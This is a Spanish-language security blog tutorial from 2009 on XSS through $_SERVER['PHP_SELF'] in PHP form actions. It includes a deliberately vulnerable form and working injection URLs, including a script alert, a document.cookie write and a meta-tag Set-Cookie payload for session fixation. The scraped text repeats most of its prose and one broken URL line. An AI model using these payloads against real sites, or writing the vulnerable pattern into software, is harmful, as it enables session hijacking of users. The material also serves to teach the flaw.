Documentación explícita referente a redes, sistemas y seguridad informática.
Categorías
Administración y Seguridad Programación
Afiliados
- Autor: Sh4v
- |
- Fecha: 2009-10-15
- |
- Categoría: Aplicaciones Web
Hoy vamos a ver un tipo de vulnerabilidad que da entrada a XSS y a Session Making que se da muchas veces pero que debido a que no ha sido vista en profundidad, suele pasar algo desapercibida. Esto ocurre cuando en PHP hacemos la llamada al propio script. Hasta hace poco, se hacía con la variable $PHP_SELF, pero a día de hoy ya no se utiliza y se hace desde la variable global $_SERVER['PHP_SELF']. Veamos un ejemplo de aplicación vulnerable.
La llamada al propio nombre del script nos da cabida a inventarnos un documento que produzca un XSS. ¡Pero no vayáis tan rápido! Segúramente ya habréis intentado hacer un www.pagina.com/formulario.php<script>alert(/XSS/);</script>. Te mostrará error ya que intentará buscar un archivo que no existe y no actuará sobre la propia página, por lo que tenemos que colocar una barra "/" para romper la llamada al script e inyectar nuestro código. Lo primero que haremos será ver el código fuente y ver como podemos romper las comillas para que se produzca la inyección. Tenemos lo siguiente:
Lo correcto será introducir una barra, unas comillas dobles, un cierre de etiqueta, nuestro XSS, una apertura de etiqueta y un form trash=" (por ejemplo):
Quedando así:
O también podríamos crear una cookie para un ataque de session fixation de la siguiente manera:
Es posible que nos encontremos con una página vulnerable a session fixation y queramos meter una cookie en el navegador de un usuario. Para ello inyectaremos lo siguiente:
Por supuesto habrá que cerrar correctamente las etiquetas y las comillas. La inyección por url (mejorada) quedaría así:
Si queréis más información sobre session fixation, tenéis un pdf informativo en esta misma web. Esto ha sido todo. Es un texto breve pero conciso, a raíz de aquí queda en vuestras manos el explotar el bug de la manera que queráis. El tema del cierre de comillas simples o dobles y de etiquetas es muy sencillo, no creo que sea necesario explicar mucho más sobre eso ya que creo que con el primer ejemplo ha quedado claro. También puedes investigar tú =).
_________________________________________________________________________________
Todavía no hay comentarios. ¡Anímate y se el primero!
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
</head>
<title>Ejemplo de aplicación vulnerable por $_SERVER['PHP_SELF']</title>
<body>
<center><h3>¿Descontento con nuestra web? Rellene nuestro formulario!</h3>
<form action="<?=$_SERVER['PHP_SELF']?>" method=POST>
Nombre:<br>
<input type=text name=nombre><br>
Apellidos:<br>
<input type=text name=apellidos><br>
Queja:<br>
<textarea name='body' rows='10' cols='115'></textarea><br></center>
</body>
</html>
<?php
//código que procesa la aplicación
?>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
</head>
<title>Ejemplo de aplicación vulnerable por $_SERVER['PHP_SELF']</title>
<body>
<center><h3>¿Descontento con nuestra web? Rellene nuestro formulario!</h3>
<form action="<?=$_SERVER['PHP_SELF']?>" method=POST>
Nombre:<br>
<input type=text name=nombre><br>
Apellidos:<br>
<input type=text name=apellidos><br>
Queja:<br>
<textarea name='body' rows='10' cols='115'></textarea><br></center>
</body>
</html>
<?php
//código que procesa la aplicación
?>
Inyectando nuestro código:
Produciendo un XSS
La llamada al propio nombre del script nos da cabida a inventarnos un documento que produzca un XSS. ¡Pero no vayáis tan rápido! Segúramente ya habréis intentado hacer un www.pagina.com/formulario.php<script>alert(/XSS/);</script>. Te mostrará error ya que intentará buscar un archivo que no existe y no actuará sobre la propia página, por lo que tenemos que colocar una barra "/" para romper la llamada al script e inyectar nuestro código. Lo primero que haremos será ver el código fuente y ver como podemos romper las comillas para que se produzca la inyección. Tenemos lo siguiente:
<form action="/formulario.php" method=POST>
Lo correcto será introducir una barra, unas comillas dobles, un cierre de etiqueta, nuestro XSS, una apertura de etiqueta y un form trash=" (por ejemplo):
<form action="/formulario.php/"><script>alert(/XSS/);</script><form trash="" method=POST>
Quedando así:
www.pagina.com/formulario.php/"><script>alert(/XSS/);</script><form trash="
O también podríamos crear una cookie para un ataque de session fixation de la siguiente manera:
<script>document.cookie="sessionid=1234; domain=.pagina.com”;</script>
Meta-tag injection
Es posible que nos encontremos con una página vulnerable a session fixation y queramos meter una cookie en el navegador de un usuario. Para ello inyectaremos lo siguiente:
<meta http-equiv=Set-Cookie content='sessionid=1234'>
Por supuesto habrá que cerrar correctamente las etiquetas y las comillas. La inyección por url (mejorada) quedaría así:
www.pagina.com/formulario.php/"><meta http-equiv=Set-Cookie content='sessionid=1234; Expires=Tuesday,15-Nov-2012 00:0
0:00 GMT”; domain=.pagina.com'>><form trash="
0:00 GMT”; domain=.pagina.com'>><form trash="
Si queréis más información sobre session fixation, tenéis un pdf informativo en esta misma web. Esto ha sido todo. Es un texto breve pero conciso, a raíz de aquí queda en vuestras manos el explotar el bug de la manera que queráis. El tema del cierre de comillas simples o dobles y de etiquetas es muy sencillo, no creo que sea necesario explicar mucho más sobre eso ya que creo que con el primer ejemplo ha quedado claro. También puedes investigar tú =).
_________________________________________________________________________________
Todavía no hay comentarios. ¡Anímate y se el primero!


